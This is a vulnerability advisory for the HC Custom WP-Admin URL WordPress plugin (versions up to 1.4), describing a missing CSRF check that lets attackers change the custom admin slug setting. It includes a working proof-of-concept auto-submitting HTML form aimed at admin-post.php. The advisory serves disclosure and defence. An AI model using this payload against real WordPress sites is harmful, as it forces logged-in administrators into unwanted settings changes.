WordPress Plugin Vulnerabilities

HC Custom WP-Admin URL <= 1.4 - Unauthenticated Arbitrary Settings Update via CSRF

Description

The plugin does not have CSRF checks in some places, which could allow attackers to make logged-in users perform unwanted actions via CSRF attacks

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin-post.php" method="POST">
    <input type="text" name="custom_wpadmin_slug" value="secret">
</form>
<script>
    document.getElementById("test").submit();
</script>

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Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-18 (about 2 years ago)
Added
2022-05-18 (about 2 years ago)
Last Updated
2023-02-09 (about 1 years ago)

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